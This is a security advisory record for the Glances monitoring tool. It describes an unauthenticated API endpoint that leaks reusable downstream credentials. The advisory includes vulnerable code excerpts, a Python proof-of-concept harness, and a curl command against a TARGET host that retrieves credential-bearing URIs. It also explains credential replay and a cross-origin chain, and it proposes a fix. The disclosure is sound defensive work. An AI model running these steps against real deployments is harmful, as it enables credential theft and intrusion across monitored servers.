{"id":"PYSEC-2026-343","summary":"Glances's Browser API Exposes Reusable Downstream Credentials via `/api/4/serverslist`","details":"## Summary\n\nIn Central Browser mode, the `/api/4/serverslist` endpoint returns raw server objects from `GlancesServersList.get_servers_list()`. Those objects are mutated in-place during background polling and can contain a `uri` field with embedded HTTP Basic credentials for downstream Glances servers, using the reusable pbkdf2-derived Glances authentication secret.\n\nIf the front Glances Browser/API instance is started without `--password`, which is supported and common for internal network deployments, `/api/4/serverslist` is completely unauthenticated. Any network user who can reach the Browser API can retrieve reusable credentials for protected downstream Glances servers once they have been polled by the browser instance.\n \n## Details\n\nThe Browser API route simply returns the raw servers list:\n\n```python\n # glances/outputs/glances_restful_api.py:799-805\ndef _api_servers_list(self):\n    self.__update_servers_list()\n    return GlancesJSONResponse(self.servers_list.get_servers_list() if self.servers_list else [])\n```\n\nThe main API router is only protected when the front instance itself was started with `--password`. Otherwise there are no authentication dependencies at all:\n\n```python\n# glances/outputs/glances_restful_api.py:475-480\n if self.args.password:\n    router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])\nelse:\n    router = APIRouter(prefix=self.url_prefix)\n```\n\nThe Glances web server binds to `0.0.0.0` by default:\n\n```python\n# glances/main.py:425-427\nparser.add_argument(\n    '--bind',\n    default='0.0.0.0',\n    dest='bind_address',\n)\n```\n\nDuring Central Browser polling, server entries are modified in-place and gain a `uri` field:\n \n```python\n# glances/servers_list.py:141-148\ndef __update_stats(self, server):\n    server['uri'] = self.get_uri(server)\n    ...\n    if server['protocol'].lower() == 'rpc':\n        self.__update_stats_rpc(server['uri'], server)\n    elif server['protocol'].lower() == 'rest' and not import_requests_error_tag:\n        self.__update_stats_rest(f\"{server['uri']}/api/{__apiversion__}\", server)\n```\n\nFor protected servers, `get_uri()` loads the saved password from the `[passwords]` section (or the `default` password), hashes it, and embeds it directly in the URI:\n\n```python\n# glances/servers_list.py:119-130\n def get_uri(self, server):\n    if server['password'] != \"\":\n        if server['status'] == 'PROTECTED':\n            clear_password = self.password.get_password(server['name'])\n            if clear_password is not None:\n                server['password'] = self.password.get_hash(clear_password)\n        uri = 'http://{}:{}@{}:{}'.format(\n            server['username'],\n            server['password'],\n            server['name'],\n            server['port'],\n        )\n    else:\n        uri = 'http://{}:{}'.format(server['name'], server['port'])\n    return uri\n```\n\nPassword lookup falls back to a global default:\n \n```python\n# glances/password_list.py:55-58\ntry:\n    return self._password_dict[host]\n except (KeyError, TypeError):\n    return self._password_dict['default']\n```\n\n The sample configuration explicitly supports browser-wide default password reuse:\n \n```ini\n# conf/glances.conf:656-663\n[passwords]\n# localhost=abc\n# default=defaultpassword\n ```\n\nThe secret embedded in `uri` is not the cleartext password, but it is still a reusable Glances authentication credential. Client connections send that pbkdf2-derived hash over HTTP Basic authentication:\n\n```python\n# glances/password.py:72-74,94\n # For Glances client, get the password (confirm=False, clear=True):\n#     2) the password is hashed with SHA-pbkdf2_hmac (only SHA string transit\npassword = password_hash\n ```\n\n```python\n# glances/client.py:56-57\nif args.password != \"\":\n    self.uri = f'http://{args.username}:{args.password}@{args.client}:{args.port}'\n```\n\nThe Browser WebUI also consumes that raw `uri` directly and redirects the user to it:\n \n```javascript\n// glances/outputs/static/js/Browser.vue:83-103\nfetch(\"api/4/serverslist\", { method: \"GET\" })\n...\nwindow.location.href = server.uri;\n```\n\nSo once `server.uri` contains credentials, those credentials are not just used internally; they are exposed to API consumers and frontend JavaScript.\n\n## PoC\n\n### Step 1: Verified local live proof that server objects contain credential-bearing URIs\n \nThe following command executes the real `glances/servers_list.py` update logic against a live local HTTP server that always returns `401`. This forces Glances to mark the downstream server as `PROTECTED` and then retry with the saved/default password. After the second refresh, the in-memory server list contains a `uri` field with embedded credentials.\n\n```bash\ncd D:\\bugcrowd\\glances\\repo\n@'\nimport importlib.util\nimport json\nimport sys\nimport threading\nimport types\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom pathlib import Path\nfrom defusedxml import xmlrpc as defused_xmlrpc\n\npkg = types.ModuleType('glances')\npkg.__apiversion__ = '4'\nsys.modules['glances'] = pkg\n\nclient_mod = types.ModuleType('glances.client')\n class GlancesClientTransport(defused_xmlrpc.xmlrpc_client.Transport):\n    def set_timeout(self, timeout):\n        self.timeout = timeout\nclient_mod.GlancesClientTransport = GlancesClientTransport\nsys.modules['glances.client'] = client_mod\n\nglobals_mod = types.ModuleType('glances.globals')\n globals_mod.json_loads = json.loads\nsys.modules['glances.globals'] = globals_mod\n \nlogger_mod = types.ModuleType('glances.logger')\nlogger_mod.logger = types.SimpleNamespace(\n    debug=lambda *a, **k: None,\n    warning=lambda *a, **k: None,\n    info=lambda *a, **k: None,\n    error=lambda *a, **k: None,\n)\nsys.modules['glances.logger'] = logger_mod\n\npassword_list_mod = types.ModuleType('glances.password_list')\n class GlancesPasswordList: pass\npassword_list_mod.GlancesPasswordList = GlancesPasswordList\nsys.modules['glances.password_list'] = password_list_mod\n\ndynamic_mod = types.ModuleType('glances.servers_list_dynamic')\n class GlancesAutoDiscoverServer: pass\ndynamic_mod.GlancesAutoDiscoverServer = GlancesAutoDiscoverServer\nsys.modules['glances.servers_list_dynamic'] = dynamic_mod\n\nstatic_mod = types.ModuleType('glances.servers_list_static')\n class GlancesStaticServer: pass\nstatic_mod.GlancesStaticServer = GlancesStaticServer\nsys.modules['glances.servers_list_static'] = static_mod\n\nspec = importlib.util.spec_from_file_location('tested_servers_list', Path('glances/servers_list.py'))\nmod = importlib.util.module_from_spec(spec)\n spec.loader.exec_module(mod)\nGlancesServersList = mod.GlancesServersList\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_POST(self):\n        _ = self.rfile.read(int(self.headers.get('Content-Length', '0')))\n        self.send_response(401)\n        self.end_headers()\n    def log_message(self, *args):\n        pass\n\nhttpd = HTTPServer(('127.0.0.1', 0), Handler)\nport = httpd.server_address[1]\n thread = threading.Thread(target=httpd.serve_forever, daemon=True)\nthread.start()\n \nclass FakePassword:\n    def get_password(self, host=None):\n        return 'defaultpassword'\n    def get_hash(self, password):\n        return f'hash({password})'\n\nsl = GlancesServersList.__new__(GlancesServersList)\n sl.password = FakePassword()\nsl._columns = [{'plugin': 'system', 'field': 'hr_name'}]\n server = {\n    'key': f'target:{port}',\n    'name': '127.0.0.1',\n    'ip': '203.0.113.77',\n    'port': port,\n    'protocol': 'rpc',\n    'username': 'glances',\n    'password': '',\n    'status': 'UNKNOWN',\n    'type': 'STATIC',\n}\nsl.get_servers_list = lambda: [server]\n\nsl._GlancesServersList__update_stats(server)\nsl._GlancesServersList__update_stats(server)\n httpd.shutdown()\nthread.join(timeout=2)\nprint(json.dumps(sl.get_servers_list(), indent=2))\n'@ | python -\n```\n\nVerified output:\n\n```json\n[\n  {\n    \"key\": \"target:57390\",\n    \"name\": \"127.0.0.1\",\n    \"ip\": \"203.0.113.77\",\n    \"port\": 57390,\n    \"protocol\": \"rpc\",\n    \"username\": \"glances\",\n    \"password\": null,\n    \"status\": \"PROTECTED\",\n    \"type\": \"STATIC\",\n    \"uri\": \"http://glances:hash(defaultpassword)@127.0.0.1:57390\",\n    \"columns\": [\n      \"system_hr_name\"\n    ]\n  }\n]\n```\n\nThis is the same raw object shape that `/api/4/serverslist` returns.\n\n### Step 2: Remote reproduction on a live Browser instance\n\n1. Configure Glances Browser mode with a saved default password for downstream servers:\n\n```ini\n[passwords]\ndefault=SuperSecretBrowserPassword\n ```\n\n2. Start the Browser/API instance without front-end authentication:\n\n```bash\n glances --browser -w -C ./glances.conf\n```\n\n3. Ensure at least one protected downstream server is polled and marked `PROTECTED`.\n\n4. From any machine that can reach the Glances Browser API, fetch the raw server list:\n\n```bash\ncurl -s http://TARGET:61208/api/4/serverslist\n```\n\n5. Observe entries like:\n\n```json\n{\n  \"name\": \"internal-glances.example\",\n  \"status\": \"PROTECTED\",\n  \"uri\": \"http://glances:\u003cpbkdf2_hash\u003e@internal-glances.example:61209\"\n}\n```\n \n## Impact\n\n- **Unauthenticated credential disclosure:** When the front Browser API runs without `--password`, any reachable user can retrieve downstream Glances authentication secrets from `/api/4/serverslist`.\n- **Credential replay:** The disclosed pbkdf2-derived hash is the effective Glances client secret and can be replayed against downstream Glances servers using the same password.\n- **Fleet-wide blast radius:** A single Browser instance can hold passwords for many downstream servers via host-specific entries or `[passwords] default`, so one exposed API can disclose credentials for an entire monitored fleet.\n- **Chains with the earlier CORS issue:** Even when the front instance uses `--password`, the permissive default CORS behavior can let a malicious website read `/api/4/serverslist` from an authenticated browser session and steal the same downstream credentials cross-origin.\n\n## Recommended Fix\n\nDo not expose credential-bearing fields in API responses. At minimum, strip `uri`, `password`, and any derived credential material from `/api/4/serverslist` responses and make the frontend derive navigation targets without embedded auth.\n \n```python\n# glances/outputs/glances_restful_api.py\n\ndef _sanitize_server(self, server):\n    safe = dict(server)\n    safe.pop('password', None)\n    safe.pop('uri', None)\n    return safe\n\ndef _api_servers_list(self):\n    self.__update_servers_list()\n    servers = self.servers_list.get_servers_list() if self.servers_list else []\n    return GlancesJSONResponse([self._sanitize_server(server) for server in servers])\n ```\n\nAnd in the Browser WebUI, construct navigation URLs from non-secret fields (`ip`, `name`, `port`, `protocol`) instead of trusting a backend-supplied `server.uri`.","aliases":["CVE-2026-32633","GHSA-r297-p3v4-wp8m"],"modified":"2026-07-01T20:22:53.387086Z","published":"2026-06-29T11:50:44.905963Z","references":[{"type":"WEB","url":"https://github.com/nicolargo/glances/security/advisories/GHSA-r297-p3v4-wp8m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32633"},{"type":"WEB","url":"https://github.com/nicolargo/glances/commit/879ef8688ffa1630839549751d3c7ef9961d361e"},{"type":"PACKAGE","url":"https://github.com/nicolargo/glances"},{"type":"WEB","url":"https://github.com/nicolargo/glances/releases/tag/v4.5.2"},{"type":"PACKAGE","url":"https://pypi.org/project/glances"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-r297-p3v4-wp8m"}],"affected":[{"package":{"name":"glances","ecosystem":"PyPI","purl":"pkg:pypi/glances"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.2"}]}],"versions":["1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.4","1.4.1","1.4.1.1","1.4.2","1.4.2.1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.7","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","2.0","2.0.1","2.1","2.1.1","2.1.2","2.10","2.11","2.11.1","2.2","2.2.1","2.3","2.4","2.4.1","2.4.2","2.5","2.5.1","2.6","2.6.1","2.6.2","2.7","2.7.1","2.8","2.8.1","2.8.2","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.9.0","2.9.1","3.0","3.0.1","3.0.2","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.1.4.1","3.1.5","3.1.6","3.1.6.1","3.1.6.2","3.1.7","3.2.0","3.2.1","3.2.2","3.2.3","3.2.3.1","3.2.4","3.2.4.1","3.2.4.2","3.2.5","3.2.6.1","3.2.6.2","3.2.6.3","3.2.6.4","3.2.7","3.3.0","3.3.0.1","3.3.0.2","3.3.0.3","3.3.0.4","3.3.1","3.3.1.1","3.4.0","3.4.0.1","3.4.0.2","3.4.0.3","3.4.0.4","3.4.0.5","4.0.1","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.1.0","4.1.1","4.1.2","4.2.0","4.2.1","4.3.0","4.3.0.1","4.3.0.3","4.3.0.4","4.3.0.5","4.3.0.6","4.3.0.7","4.3.0.8","4.3.1","4.3.2","4.3.3","4.4.0","4.4.1","4.5.0","4.5.0.1","4.5.0.2","4.5.0.3","4.5.0.4","4.5.0.5","4.5.1"],"database_specific":{"last_known_affected_version_range":"\u003c= 4.5.2-dev01","source":"https://github.com/pypa/advisory-database/blob/main/vulns/glances/PYSEC-2026-343.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"}]}